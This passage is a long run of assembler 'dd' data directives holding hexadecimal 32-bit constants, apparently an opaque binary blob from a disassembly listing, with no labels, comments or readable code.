0C15EC3A3h dd 1B530E30h, 65596858h, 900C3B60h, 0FD8A0F3Fh, 4B776D92h dd 60CF8112h, 8C9E28EAh, 9806940h, 585343EBh, 0BBDDA57h dd 0F51035B9h, 89C9A480h, 198196Dh, 17AE8B5Ah, 7990E879h dd 16E68817h, 4D1438AAh, 2F8B2240h, 5B5C5ADFh, 319655CBh dd 59E8E8BDh, 1D66B5EBh, 0C2FAF6B8h, 1E4DBF80h, 8B3F1073h dd 0ABF15626h, 0AD685200h, 0B0607A2Ah, 28CB2740h, 5C92C859h dd 0E84BCDECh, 901B827h, 81F2E9FDh, 4DFE5CA9h, 4E5420BEh dd 6BCBBB5Ah, 920E840h, 29719060h, 0EC71D23h, 95C2F93Bh dd 3C879A0h, 91EDB9EAh, 2581EDD7h, 0D1AE3585h, 0CB2EA810h dd 4370CEE8h, 305DFA19h, 0E6EC7D2h, 0EF6403F4h, 4F3CE02h dd 17079FFh, 0A1D31CECh, 0DB06403Dh, 0A4A0F006h, 65B53DD1h dd 4E680450h, 8512167Fh, 605A5A49h, 58940A7Ch, 825B5629h dd 0E34051BCh, 1C7A3021h, 17A7B958h, 3AF83F0h, 338C0DCEh dd 1AEE0C5Eh, 52E23A74h, 0A1692285h, 3E3B314Bh, 0A3AF0B12h dd 665E1297h, 0C2251F5Dh, 9072C09Eh, 122D80EAh, 5A0351Ch dd 84258F40h, 0F9E82975h, 11DA0747h, 44A35D16h, 0EB5909Fh dd 6BF70DBAh, 5A8EF8F2h, 0DDE311C3h, 2A11810h, 0EE7D04BBh dd 71A48032h, 1653D878h, 0AA9C860Fh, 8468F5D0h, 0C2FB4B3Ch dd 8CAE762h, 0E97818FCh, 0DDF75A51h, 6C05ED63h, 55560BAEh dd 364D8168h, 907A5D62h, 0AE268581h, 43DAD39Dh, 0C262F7F6h dd 1B2B72Ah, 3AF1FDE9h, 169249A3h, 745ABECDh, 80C6D70Ch dd 3E8CF1B5h, 0D698FC5Ah, 89A45CBEh, 752929BEh, 0E517D7FCh dd 0FF5887E1h, 0F04889h, 0FA98FC35h, 0FD4B6ECBh, 80518BCAh dd 463DB44Dh, 4B91B85Bh, 7F24AB9Eh, 0C93F62ABh, 293B89D0h dd 305596EAh, 0A802FB25h, 7C08DE68h, 0C2E662D7h, 65B25201h dd 0E23A077Eh, 57813FBFh, 7ABDF8E9h, 6A0206E3h, 3163F47Ah dd 8420E25Bh, 180E490Bh, 98630826h, 94B00820h, 3B34D327h dd 0DACD978h, 4A780B23h, 3A14B174h, 0C61E89Ah, 517B99E9h dd 885B1AE0h, 13194F4Dh, 2046AB5Ah, 675BE41h, 847B42C2h dd 8C020C38h, 1B2272Ch, 0B6D2D7D6h, 3FF5520h, 80359AB8h dd 92294869h, 22A7807Bh, 81D46CBDh, 525FB1B3h, 953F07E0h dd 4B010A24h, 6197521h, 2BA52535h, 23CB99ADh, 0D3572B42h dd 0E6AC24h, 47AE7FEAh, 0B8E9820Fh, 52E6DA3Ch, 1C62A2C9h dd 60529AD5h, 0B073B541h, 5FD9BD71h, 3A8018BCh, 246BBE10h dd 132F8128h, 0E731B4B2h, 37526C04h, 54C14F75h, 0B96A400Bh dd 7A1AB3F5h, 27D22FA3h, 458917F9h, 4B0BFA70h, 0C40DFC14h dd 0F12114Dh, 6BE025EFh, 76557535h, 90BC7B5Bh, 68A3B04Fh dd 4784285Ah, 9789A6BAh, 0C39E8AD1h, 30A64669h, 38DAB800h dd 70D6A63h, 5E6C13Eh, 0DE710C4Eh, 134A682h, 41CC5655h dd 0E6FEFB81h, 3635042Bh, 168BFFA0h, 0A2F389CFh, 0CAB9C623h dd 0AD350724h, 0A3D468F5h, 5A273C63h, 0AEACA659h, 0BF5A9F33h dd 0D41C8E90h, 152EF9Ch, 2729FEB4h, 617E173Ch, 0D8DDE941h dd 5C834128h, 0C2C3E39h, 1A168DC5h, 0B5930A0h, 71E9C331h dd 27906C70h, 22CC801Ch, 0C035ECC7h, 0C4FE0731h, 4073876Bh dd 58E32802h, 0F3F0D3F0h, 0D80B4F78h, 0F0BB045Bh, 0A7FA22C9h dd 68D8C08Bh, 0AFA2C21h, 0FEB8095Eh, 44372BC5h, 0AF65E086h dd 890398h, 1B753C2h, 1BB15150h, 0FED1F60Ah, 0F416C1C1h dd 4BA07254h, 0B171D1BEh, 43468D48h, 0BAE87D54h, 8E9183h dd 174F6DB7h, 0F890DA29h, 1C5F0883h, 0ECB312FBh, 0AC9FB103h dd 6846206Fh, 0F2E1873h, 0E019846Dh, 0C12ED0D3h, 9D4803F9h dd 6889D10Eh, 0D5E4FD30h, 0D33F4598h, 0D50F2D16h, 0E9065F21h dd 15126BADh, 3E65204h, 0E74893C0h, 1FA13EBh, 0B0E8E8F7h dd 2F5B5FF9h, 0F341FBE9h, 0A0986E66h, 0B80D4A27h, 8D24DDD2h dd 5172029Eh, 54D35551h, 0A75BE904h, 0EFD247E9h, 0AC9677E2h dd 0EF445BF0h, 5301AA2Ch, 89176D68h, 5D0EB94Dh, 0F01CC118h dd 0D886E6C7h, 7BB181F4h, 14CFB22Eh, 0CB972ABAh, 0BF52C854h dd 4338066h, 0E03E797h, 1E15B568h, 5C8F2D78h, 386BF845h dd 95CA2136h, 90A0B9F1h, 8BA55659h, 570E0989h, 29469CEEh dd 0F597A34Ch, 12753490h, 7455669Fh, 341C8BBFh, 0CC87D988h dd 0EC655059h, 0BFFED5FFh, 3DF59500h, 4AE1E951h, 1022FABEh dd 13897467h, 8DCEFF5Bh, 2D5F523Fh, 0AD583487h, 0BFCA549h dd 0DC9C6876h, 0B04CC4A8h, 8224BE39h, 263D6E78h, 71A06D3Fh dd 80DB5020h, 2E4C3086h dd 2F3B923h, 495E1232h, 0EB63E155h, 4E810844h, 0FB059DB2h dd 5447BCA4h, 6015C132h, 0C58160D9h, 0E52653C3h, 8E02D636h dd 0DF31B73Eh, 6081A28h, 32D604E9h, 0BE665607h, 744B1AB2h dd 63582D6Dh, 0B1223C9Ah, 0F7D29F4Dh, 0E9646505h, 62FD8573h dd 804FF55Bh, 8637EB0Ch, 90C70174h, 629909DCh, 0C2D41D8Ch dd 0B37FD58h, 79E9502Ah, 0EB2CC85Ah, 21090E05h, 0DF9ED5B1h dd 58295020h, 67121A43h, 992DAAC2h, 18854CD5h, 0EE5A5E57h dd 0E72C56E3h, 3C762D3Dh, 77E1F6C2h, 94425754h, 97D45D01h dd 7DC6D2E2h, 6AE51018h, 2016669Fh, 5201B96Bh, 6405BB53h dd 0C0B81022h, 56B61F01h, 7D027EE9h, 1AD60289h, 7EF75FCCh dd 0FE03189Bh, 22D01EB9h, 60AA0ED9h, 0CAE94206h, 21FD4ECEh dd 81C237A9h, 0BFBD0419h, 11F93BCh, 0C75E0DE8h, 0F2EC2B42h dd 0F22960E9h, 0B7CF0180h, 0FA960D45h, 3AB82813h, 0E771AB5Bh dd 5DC238E0h, 0FC0B7DCh, 0B2ED2E8Bh, 755C2647h, 1ABCA884h dd 0E5D1885Ah, 540F5E75h, 56B65495h, 9FA8BB20h, 69FC04C2h dd 5AE7F525h, 89EB73A5h, 0D0D04EE9h, 2C9ECB6h, 557950A2h dd 72FCCE98h, 32EE3BFFh, 63694D4Fh, 2EBF715Dh, 69CF1B98h dd 0D676FF3Bh, 0FF22CA2Fh, 14F7C6C2h, 786C20AAh, 4BF46813h dd 22CB3D61h, 0E78F258Bh, 1933B6D5h, 22D9D8E9h, 0A9616E5Ch dd 3B817ABCh, 0CF79CDF1h, 21EB400Eh, 1A58752Fh, 82BD2250h dd 405EC09Fh, 0E1888090h, 5975CEE4h, 0B0A0F74Ch, 95B2B0E9h dd 7520FFE6h, 0F8312592h, 807DE57Dh, 7C4FD1C6h, 40ED0103h dd 0F47B0BD3h, 0C50F2A98h, 38CC1B20h, 32B9A60Ch, 0D3FED9BBh dd 951794F5h, 6818FE16h, 0BB9D4031h, 3A3EBCFEh, 0E4A8480h dd 68B95157h, 3D0A4812h, 9AE4300h, 4C0156A8h, 841D0CBh dd 0EE10B929h, 23350320h, 4A3ED86Dh, 608CBCB6h, 267D82BCh dd 7C2BF53h, 0DA738B57h, 0C7516D0h, 1717AB30h, 0BB0C84FBh dd 98BB9034h, 3AF562D4h, 0AE98FEE9h, 0F5051E6Fh, 2EECE933h dd 0F20965D2h, 0C51A203Ch, 0F6C05926h, 439D903Ch, 2F845762h dd 0DE642F7Dh, 772ED15Ah, 0D40A9685h, 7F23AC34h, 92943825h dd 0A8C05FE6h, 0D5B6286Eh, 0A9311180h, 0FDCD293Ch, 5250066Eh dd 0C0BD52EEh, 4AFB80F9h, 53CAB81h, 155F975Ah, 50A8F6h dd 4EE6203Dh, 19DFC7B8h, 95E9B109h, 0C6F420DCh, 2D61211Ch dd 30578951h, 9206BDE9h, 367503D8h, 0D3F71088h, 8436EBFBh dd 1212ACE3h, 58B3E952h, 0F57C0C9Bh, 75EA5FC9h, 6F5B15E1h dd 0C6002BACh, 0FDADF70Ah, 39A4F389h, 76700504h, 84BB6819h dd 0A80712DEh, 6309101Ah, 126C948h, 8F3B60CFh, 5E953229h dd 6F904D3Eh, 11017912h, 322D4EF9h, 0C08C66ECh, 89DC245h dd 5D3B4C41h, 5C02AF83h, 316678ACh, 0E7BF56D3h, 0C46B706Ch dd 8845DF64h, 0C3EC57A7h, 0FC0FB62Dh, 27CE31F3h, 6DC3A412h dd 851F2002h, 0C2908566h, 28A80716h, 0CC6584Ah, 0C8280638h dd 575CA61Dh, 9569283Ah, 0BDFF73Ch, 0DDF911E9h, 0CAA99014h dd 97F82EC3h, 3D25EB5Fh, 23E3BE00h, 5F01463Fh, 8129E0E9h dd 530B42EBh, 4AC0D866h, 0E95B038Bh, 40415BCCh, 0EC6EF356h dd 61F8B463h, 81E1535Ch, 3C3F46A4h, 0D8F7C343h, 1C29056Fh dd 762DE9C2h, 90F2AD3Fh, 0D012FC69h, 0FEC9043Eh, 0C140D61Bh dd 0D89BFBB8h, 9625E9C0h, 52A3DFDEh, 2B9F783Eh, 0E22B2E5Dh dd 0FD2A980Bh, 0D3CE4480h, 5548DB3Dh, 7402773Bh, 0F3319D40h dd 17C9775Eh, 4E0D6825h, 0BAA452A8h, 26635661h, 41788734h dd 883E88DBh, 0C32D010Fh, 2FB6566Ch, 473E55C1h, 1278405h dd 0CD1DF6A0h, 0FB8D302Bh, 61075A14h, 3D0905C9h, 0C0EF353Ah dd 59C768A0h, 7C602DBCh, 2182504h, 0E40CB81h, 0F603F30h dd 758AAFF1h, 38080FCDh, 0C4C6583Eh, 5FFC21BFh, 9A394068h dd 0A30C3113h, 26CB447Ah, 5624FA4Eh, 0AB9484BEh, 49C89DD1h dd 82333D93h, 627F2938h, 0FBE855F2h, 65BFEF01h, 0DE318C5Bh dd 89E98930h, 46380CF8h, 32B00281h, 0EFC10528h, 0D284A960h dd 0A32E5881h, 0BE089879h, 0D75A00C0h, 880F4E09h, 0FF4DFD8Eh dd 29C5F472h, 0AFA8B1EFh, 0B4827D0Ch, 5BD65AE9h, 0C2CA7C2Fh dd 5507AD5Bh, 0C6E12164h, 12FEB73Eh, 0D413782Dh, 0B5EC7D21h dd 5D8A5207h, 5A2ED2FDh, 0F6F0C3A6h, 45B0A5ECh, 1F91AAC0h dd 79F07EEFh, 4BEDF611h, 0C427FC1Fh, 212E729h, 0E6885212h dd 0C0847C77h, 6BE38058h, 0B0820F09h, 850DBEDh, 22C3B4E0h dd 0EE9B6E76h, 9A00FA69h, 0F072AFCFh, 0C0824C6Bh, 4CBDBBA7h dd 0E05AC052h, 75950579h, 0F000FE0Fh, 0FEF9F6E9h, 4FED28C2h dd 0CB41E13Dh, 5F211E0h, 0A4E94B61h, 0F18EAE88h, 0A84F5B7Eh dd 5409DE27h, 4A32DDh, 80CCB5A9h, 0E9D60FF5h, 9DF26430h dd 628DF13Eh, 30EF0E41h, 29DD4276h, 0FE3A94FDh, 0C842D762h dd 857936B6h, 584C0AF5h, 0AB3E5951h, 11B06431h, 8593472Bh dd 83F19205h, 0B8C2F9A5h, 0EA2D7ACAh, 65DF51C0h, 4B1DECF3h dd 314F25B8h, 2C469172h, 0F019EB4h, 0B76BE934h, 0EBEE9D97h dd 65AA8CC4h, 80F3EA4Fh, 2B59E9A1h, 55B72C07h, 12EFFD04h dd 44FF16B8h, 0EAD089D8h, 0A35ACE04h, 83EC5C0Fh, 0F79040CFh dd 7850120Fh, 0C159D3Dh, 15A412ABh, 7E068BBBh, 0FEC27F16h dd 0A23A31BEh, 0C5152C59h, 8EFA22DBh, 30A558BCh, 0F6803EC9h dd 0F03016EAh, 0CBE0F95Ah, 0C07910h, 6CAA3643h, 0A25F860Fh dd 5F125416h, 0C23B920Bh, 387B751Fh, 44FC9209h, 897D97E5h dd 0E153DD58h, 9C0F2CE2h, 0DCDD207Bh, 18440126h, 0EC1FFCBh dd 0AB853058h, 34481443h, 0FED20309h, 3053D2E9h, 0E04169C2h dd 0CBE3E36Fh, 9573D05Ch, 0C3710B7Eh, 62DAB82Eh, 0D519E942h dd 45753889h, 725A14F4h, 0B2535084h, 17AF4B8Bh, 0BBDCC18Ch dd 47850508h, 2457D882h, 9DD6AC2Ch, 4AC201E0h, 5EE93FD7h dd 0E20565BFh, 51C9657h, 0EB139AC7h, 0FF04EA07h, 0F7BB0293h dd 0D9E9C3B9h, 0DD5949CCh, 0BFD4363Bh, 0BFC9837Ch, 29D32491h dd 0A960EE41h, 0A75A008Bh, 2DCBBA06h, 0E91330C1h, 0CDEF1EB9h dd 53520825h, 90075B8h, 0BB767915h, 542C26C3h, 4C31CED8h dd 34B6CD9h, 0CB29660Dh, 32F94BC1h, 70350407h, 9FF0BBBh dd 14616731h, 386652B8h, 0EB015344h, 607F1024h, 7882FB01h dd 640F4C1Ah, 0C268FEE2h, 6E12FDBFh, 0CE006081h, 4505C13h dd 12E61DBEh, 0E20EE731h, 0FC84FEA9h, 0BFC1369h, 56067202h dd 0A27DEA01h, 791FE04Bh, 97DEAFA4h, 53CFFE2Dh, 8BE97DE2h dd 46FE205Dh, 0E4BC24D3h, 0F3DED9C6h, 69F1E71Ch, 89FE5EDBh dd 0E9D8E521h, 9CE94C8h, 0F175E689h, 0C87589Ah, 0AD94D597h dd 5724C342h, 5C7A0157h, 685B0686h, 850F069Bh, 9790CFBFh dd 0E94138D7h, 0BD7ABFB5h, 0E69D7FF0h, 0D7C92D57h, 5E6B307Ch dd 7894BE3Fh, 6480A59Ch, 555410B1h, 295D5B17h, 4333EE0Ch dd 5D905AFAh, 0A779CB84h, 0BA92C07Ch, 4ABE0A50h, 0FAB448ECh dd 0D2E2DB05h, 63BDB424h, 0B294E04Eh, 4A2089B0h, 9D8BB215h dd 0E96FBDFEh, 95A2F0FBh, 275D9C94h, 1A5A3B3Ch, 40262677h dd 801E3F99h, 0A00FF381h, 841C2253h, 0D1C82E8Ch, 9FB301EBh dd 5F891772h, 35452A20h, 0F940CEC1h, 0B9E1EEDh, 0E82928B5h dd 5F80089h, 4AFC1603h, 0F44995E9h, 2D31042Ah, 0ADAC6C9Bh dd 2592A84Ah, 97397778h, 3F02651Ch, 658F4005h, 3ED4C9BBh dd 4186C8F2h, 514A2EE8h dd 0B5B297BBh, 859B023h, 805BFA07h, 0EA335DF2h, 7AC2B006h dd 0BD2B71E9h, 1A6C353h, 55EBCFA1h, 54AD2B47h, 0BEC2E467h dd 0CB249E1h, 0BD411A24h, 37876BDAh, 6AC507B1h, 73BFAF40h dd 0C77A5033h, 0D3BE5AF1h, 6154B2Ah, 24D749E9h, 2419CF51h dd 57FD6862h, 0AA13A966h, 0C58840BCh, 0D6685958h, 7981469Fh dd 6B0D3952h, 0F2E92204h, 7BA2F760h, 16841732h, 2B065D64h dd 449D5580h, 2EF22015h, 96695995h, 522AC351h, 344F85B1h dd 3DC462BAh, 8DEB9B68h, 2C7DE016h, 826F8296h, 6136C625h dd 457ED5A3h, 0EB1D9374h, 67266DB2h, 28E985F0h, 0C16694CBh dd 0D4E38008h, 472C6856h, 0BDC0AD76h, 28B26B1h, 0D953BF03h dd 4EF4FC74h, 609F7C04h, 35804FC0h, 0E5504FDFh, 1C080682h dd 70511482h, 5889DA49h, 6925FB56h, 68E7AD18h, 790EB62Ah dd 0DAD6E917h, 41E182CCh, 0B0016B3Fh, 3D1E7FF8h, 0A37E856Bh dd 102148F0h, 354C4DC5h, 7DDEC825h, 0CD242753h, 66554E41h dd 0B1257CF0h, 9527E8C1h, 50F62570h, 0EEE567AFh, 0E037AA2Bh dd 9033DDC9h, 50026000h, 100449B0h, 70C34C28h, 0FDE0BF20h dd 565A5EEh, 0C7D4DEFFh, 7E63BCAAh, 26FE902Dh, 41C4379h dd 0FA840A0Ch, 9687FD09h, 286B2845h, 48E68BBFh, 55B501E1h dd 8CE96F4Ch, 813B2879h, 2A263EDCh, 5FA03D6Ah, 4C646807h dd 72F44FF7h, 0E36F0EA8h, 1F1F1DA4h, 7BB44056h, 7E2A0EF6h dd 0F1412089h, 7FF9015Eh, 16B8E414h, 6DB51AEAh, 0A42B04DDh dd 14B51C11h, 0C0329F5Eh, 1FD8E15Fh, 0F94EB168h, 9FBE501h dd 0F4F40EDEh, 0A730A7CAh, 183CBE56h, 0B2190638h, 6D253115h dd 9DC15051h, 0B3094589h, 5C5B22D8h, 56AD38BBh, 0A45CC940h dd 2033B4F2h, 4EB309B1h, 6D800B2Fh, 0F0ABE901h, 0C3F0F195h dd 9913F568h, 8547CE9h, 5AEE00B7h, 685046E3h, 5BE5ECD1h dd 4B178A41h, 33828281h, 0A25FD26Ah, 0E6B73658h, 0E4883DCDh dd 0C05CC26h, 0CE2B4C61h, 0ED3EEF41h, 60BA8E9Fh, 0B913092Eh dd 310BCC5Eh, 0BB022D84h, 12ADE72h, 1A16C1C8h, 0FC0AD3Eh dd 5C89515Ah, 0A1FAC0F5h, 9AF82A95h, 5320E09Ch, 8A489711h dd 519746E4h, 0BC7CAD2h, 69100EA9h, 183D5517h, 0E38A983Ch dd 12A4F317h, 706526Dh, 262C018Ah, 34000C7Ch, 531CD717h dd 17255B58h, 17B62F5h, 0E907E06Bh, 7B68256Dh, 0C3F21BECh dd 28269CDDh, 954A09CCh, 0DA2A1075h, 8BFE5FD7h, 68DD621Dh dd 2020D25Ah, 55976CDDh, 0C2D56E29h, 0ACA27140h, 4C0C38EDh dd 0C80C35C1h, 45261E18h, 0A9D21030h, 0F3287CE5h, 7061FB5Ah dd 9089B947h, 2F84E4D0h, 66B2AA1Eh, 0FEDFA182h, 0AB60E921h dd 65F4C93h, 0EB0609C8h, 6BBAE207h, 1BB41D69h, 5B2458ECh dd 8A5E0802h, 4DB2C00h, 0EDF02876h, 7F8BB7D3h, 0B24C8316h dd 7FC1050h, 0AB4DD15Ah, 0C2FF1553h, 0BDD22938h, 35521EFEh dd 4E6204B9h, 96EE722Ah, 0CD26A87Ch, 0C344642Ch, 58E6FCBAh dd 44AE5A08h, 0EF3FDB18h, 82C876DCh, 0FF04CA2h, 0C1F78902h dd 0C507BFDFh, 0AF4A9492h, 3949B4CAh, 2E0B846Dh, 74A7E701h dd 0A86A08B5h, 84EB4BC2h, 751C8877h, 0F02DA694h, 0C4AE4B6Ah dd 5FFD80C4h, 0DAE7264Bh, 16C570DDh, 602B06E9h, 3CB96824h dd 5C2D2292h, 200290Fh, 40173D88h, 676D68E4h, 79782577h dd 3CBE5A7h, 57D14D7Bh, 0F714AD49h, 0E9064415h, 0B62EDC07h dd 74474FD1h, 0E6CEAB6Eh, 54BA11F8h, 3119BD80h, 0C3832F50h dd 2E304DF8h, 8A4B0C54h, 0E1154F7Bh, 0E6A36F2Ch, 4CDFA214h dd 822E0C07h, 0C7F7B108h, 0A73068FEh, 77A1C8D3h, 47F51231h dd 435F869h, 1BBD73D3h, 564F1781h, 2E5164CAh, 25B04AE9h dd 0A8C4B67Fh, 9FF8D208h, 21E3297Eh, 0E9130AF9h, 508392FEh dd 0B5A6853h, 268C3085h, 0FDF09557h, 0B7BF4B40h, 8295EE72h dd 96A967Bh, 0FED40FC3h, 8E44C784h, 4283D187h, 0EB6B0B84h dd 8A8F47CEh, 8322E67Fh, 0E388535Ah, 3EDCADCAh, 0F6EFE192h dd 6598F5Eh, 803F3997h, 283C50B8h, 48C4D88h, 3246068Dh dd 84E905C1h, 880F8690h, 0EDB6757Dh, 9383A62Fh, 0A2C263E4h dd 4CFE7791h, 87EB096Eh, 0D305BE01h, 0A4E91980h, 0FB1AD710h dd 56036D16h, 8CFDDD56h, 4E20CAAAh, 470A40BBh, 0C17F6D0Dh dd 5E06E525h, 0B9AA0AD8h, 4369A74Eh, 87C13C52h, 0FFCB015Ah dd 0E99C16C5h, 5B8D8725h, 9317963h, 0CA87410Ch, 6BE34A0h dd 2E5AA488h, 65BB9FF0h, 0FE5B3A11h, 6CAFB105h, 7CC144FCh dd 3F3F5C49h, 0CDC35544h, 55852AD2h, 0B9FD1289h, 175DF54h dd 4154B73Fh, 3A10F3C9h, 6809AC53h, 0D976561Fh, 0A7463E61h dd 3003E750h, 0F3509E3h, 5439C85h, 0CA8C4A08h, 2F9920C5h dd 0B1D45C53h, 0AF4A5EC2h, 8DDC142Ah, 907F285Dh, 99B2E9B3h dd 35EDA9C0h, 4A3D661Ah, 24E2B889h, 2F4790CFh, 0E0F180B8h dd 93CD15Ah, 5359CA01h, 5B64CEBBh, 0F4EBDAE3h, 0B8E904F2h dd 0B0F1E433h, 5902669Ch, 7F74D468h, 8A313A65h, 0C510A077h dd 7DFC47B2h, 0AF800F1Eh, 59E451E9h, 0CB5B73E9h, 0FBED1794h dd 0C2EFA229h, 0BBD9C851h, 786F241Eh, 16F30197h, 3029D204h dd 2C1DE93Dh, 0F6EF2FEBh, 15650465h, 1EA28114h, 980128ABh dd 2460641Ch, 1095408Dh, 192575F9h, 72B212FAh, 0CDFC5EA4h dd 547F6194h, 78EDEE4Eh, 69DECB4h, 711A0330h, 92A6129Eh dd 0D6DB04FBh, 0B3D5EAE9h, 1A149BFAh, 759DB6E9h, 28732554h dd 0BF465C0Dh, 99E94368h, 0BD5168BAh, 1FE3B1Ch, 1360BCBh dd 295E3EBh, 87B1E908h, 4151C5FFh, 30E8305Ch, 9941FB60h dd 13768B3Fh, 0D5E373BFh, 0BF812E14h, 40B72DC0h, 2AEB3C59h dd 0A5641EEFh, 16EE05Dh, 86E913C8h, 0E1D789F7h, 2EC63865h dd 0EB097A5Dh, 8489A1D1h, 0CA5C831h, 27CF66FDh, 39775598h dd 0FF2F5738h, 0FE598B4Bh, 9FB38C1Dh, 3C03C7FBh, 14F7108h dd 4DA74DFh, 0E90B0C53h, 3858A138h, 54CE5E9Eh, 0D25FF813h dd 0E75D56A4h, 0B275A5EBh, 0D4C17DB5h, 0E4FD6BFEh, 163BAB84h dd 0F53E40EFh, 48BB58DCh, 2710809Fh, 0B809E474h, 0F6C42064h dd 78CB292Fh, 920EF420h, 0D269F15Ch, 177F4D9h, 0A920F987h dd 416A130Eh, 0B0E1AC4Ah, 136B5C68h, 4BC1E913h, 0B3055FD1h dd 5113434Ch, 53A103B9h, 0E20F7430h, 0BECD40h, 49F9726Ah dd 0A6CE681h, 126C2F5Ch, 89C5C5Fh, 62CEF8CBh, 2CB518BAh dd 3B19075Fh, 0A7F021B4h, 68560951h, 85801FEAh, 0FCF6815Eh dd 7ADA6113h, 0F8D0B71Ch, 5386284Bh, 0B6C0499Ch, 0BDB00475h dd 7BE9D058h, 0E9C430FCh, 4F12AA20h, 4A2A7BAh, 0A95B05B9h dd 0B307F6C4h, 49678237h, 0C4BC6D62h, 1F6A2D61h, 508D3AA0h dd 315B2132h, 0F9965CECh, 59DB589Fh, 0C59501Bh, 2CAA2AF3h dd 53168680h, 5CFE2DCCh, 5C9ECB1Ch, 401D827Dh, 982670F2h dd 4E2C6E8Bh, 0C66851C0h, 0A2ED16Fh, 962E6559h, 82573E3Ch dd 3E367909h, 3D68555Fh, 65F646F1h, 3FE1335Eh, 0EFD043Bh dd 2BE68DB7h, 0BE8344EBh, 0D4BFFDE2h, 40730487h, 82541EA4h dd 25B88726h, 5DEBC27Dh, 9CE2395Ch, 1598DD59h, 0BDA92532h dd 98AC3FD6h, 3B9AF6C0h, 0CE907E4Fh, 7BB76B0Bh, 58D98797h dd 2F53F336h, 50FE575Eh, 828D5950h, 68174CC4h, 0F0F80373h dd 2A76F5B5h, 0E91696BCh, 318C4D47h, 9862E22Ah, 952864D5h dd 8C9315D5h, 0E931DE01h, 23F2432Eh, 0AF907D90h, 7174AA5Eh dd 2D6CE3EAh, 7C178B45h dd 0C840C47Ah, 0A05CEDDDh, 0D19D2FE3h, 20DD9DFAh, 89B676BDh dd 8DDECDCFh, 1A418060h, 1A8B010h, 16435705h, 7AE1F0E9h dd 0BFF8C239h, 3759B576h, 0AD128BA8h, 0EE1DA266h, 0BE017DD0h dd 411B2AE6h, 3B5B2109h, 13121F16h, 0DC3B44B8h, 0FD492996h dd 5FB31662h, 137C2D0Dh, 181FA26Bh, 31150467h, 27ABDFAh dd 0E7B88776h, 0ECBC244h, 7CB30D8Fh, 6617E3C0h, 0F096571h dd 7F633A86h, 7AA5C6EFh, 0F9064F7Fh, 45560199h, 0D4E972FFh dd 0B2DF002Eh, 0F3F28012h, 0DD6AE295h, 16715240h, 0A3AB1ED3h dd 207394D0h, 547E953Eh, 1EEC6884h, 46CB17B8h, 56B7E278h dd 0E5DC0B0Bh, 9054489Ah, 34EB6861h, 2EFA316Eh, 3B15ED16h dd 8AF25AACh, 2FBE9ED4h, 14A85FEAh, 1BDF08A2h, 4398AC20h dd 3B5EBB0Bh, 0B1EE535h, 5B6018E9h, 5078C229h, 187A022Dh dd 82A20D29h, 5DFB1677h, 5B8FEA87h, 0D9543A90h, 5E3994A5h dd 0E90D3FF9h, 0D4268BB4h, 0C3B6B09Eh, 90BD31Fh, 16D152D1h dd 161F957Eh, 8562F2DBh, 0C6C4D729h, 5A101319h, 44607FC6h dd 8C4B5789h, 0B5680588h, 5A84688Eh, 510DE50h, 29E74AF3h dd 40A7F6AFh, 7716E90Ch, 3390FEFBh, 0A91C7A68h, 1B891BC6h dd 8C07F231h, 0DAE5A2D2h, 588BDE0Bh, 0A4C1FB78h, 7428E0Fh dd 50CA8981h, 6070C40Dh, 2D451C7Eh, 103CF36Bh, 5A02527Bh dd 42E28B0Fh, 0F5D6A6A2h, 64FDCF6h, 73FABC6h, 317433C5h dd 2EDE054h, 1F258A0Fh, 0E1B85F7Bh, 0F2F72409h, 5FA03401h dd 63DB1499h, 0EF162AABh, 0D16865AEh, 6B0E280Ah, 524B0D8Eh dd 0CE9BB7F9h, 6801500Bh, 393B6BD3h, 0E4DA205Eh, 15E71F13h dd 7077C305h, 7D41BB0Bh, 0E91AFCECh, 5582821Fh, 159308DCh dd 2709EDB6h, 6FF924Bh, 480D2308h, 0AA1C1331h, 6DD52715h dd 6B6806C4h, 3926AB42h, 58935FA3h, 4BB77407h, 86880B2h dd 25F728B3h, 16DFEAFDh, 7EBCC298h, 6C77308Dh, 8C0500C3h dd 2D2AA04Bh, 82480B73h, 0E70F133Bh, 680AF5F7h, 406E4E96h dd 7830488Dh, 11E78107h, 0E9225D0Ah, 0DB4B5FCDh, 2912DEB1h dd 6D0B02F1h, 0F5214458h, 0F27670A7h, 755E5DA4h, 9C5A808h dd 4A58E2C0h, 0EA30C776h, 30140C03h, 8DE924D1h, 0E8868318h dd 858DDF6h, 108A3FF1h, 0C112F3EDh, 0A14809E6h, 7C9D8A7Ah dd 200B1352h, 16B3C2E2h, 0EAA4E75Bh, 6F290505h, 0EAB98C0Fh dd 0E7BF0912h, 0D89B8B47h, 0F35BBFC7h, 8A5D9CBh, 0E1274893h dd 81358608h, 95FC1635h, 0AF4ED6ECh, 0AFB0AF87h, 0B3ACDD57h dd 974B08FBh, 4077E225h, 2532C649h, 0F25C0E3Ch, 48A8CC30h dd 0D15C4C96h, 107DAA07h, 0D1E3CF2Eh, 0CBE9324h, 877ACD0Bh dd 0F080D754h, 9478232h, 0D70F7597h, 2E198E1h, 0F86AE2E9h dd 6FD57240h, 0C9A9D883h, 2B5E97FEh, 0C8F40052h, 2C42D46Ch dd 1619D0F7h, 0EB8AFBD7h, 0CB46572Ch, 96AD29D9h, 76576539h dd 0F47F90DAh, 84D2077h, 4974CC3h, 6FCF3B23h, 0EEA788EAh dd 5F793E18h, 5452E913h, 9CDFD5Eh, 7A4E51E1h, 4F7B0680h dd 7DB844A9h, 0A72F7478h, 903478C4h, 0CC024B0Ah, 9BFA287h dd 3E3273CDh, 6FB1F62Ch, 6B142006h, 594ED09h, 0FEE9E04Eh dd 2B540B7Ch, 73C3EB29h, 30501BB0h, 13ECE916h, 0C9028FAh dd 113E5D97h, 6FBE0E30h, 3B2563F6h, 0CE0217E2h, 2C765A20h dd 11C9A262h, 31AF7066h, 0CEF8D84Bh, 0BCBD1786h, 3D556EB5h dd 0FC732C8h, 1388CB89h, 1D0E28FEh, 0C7583B40h, 5655E018h dd 0D9889C12h, 719DDD68h, 693BE64h, 56AEE4CFh, 0D32700B4h dd 3500A400h, 0A1B2F818h, 0BA04D0ADh, 6EC2F3D4h, 0D2F0098Ah dd 2B736814h, 0FC038938h, 237C2D72h, 7ABCC1E5h, 6BDFBD00h dd 0EA21698Fh, 0DCACFA0h, 26D60E01h, 6F97870Fh, 0AE4B1C32h dd 660C691Dh, 3E801661h, 9A27ECEAh, 6C555642h, 0D65D580Eh dd 80842A26h, 0B02E1868h, 2D045871h, 0FB19C8C7h, 0C00ED1ABh dd 4A010238h, 0F66E8997h, 0A377AFE6h, 2F445DADh, 89D7EA8Fh dd 0F284F587h, 776609B3h, 0EB79C127h, 0C7914D6h, 81F0DB02h dd 685A449Eh, 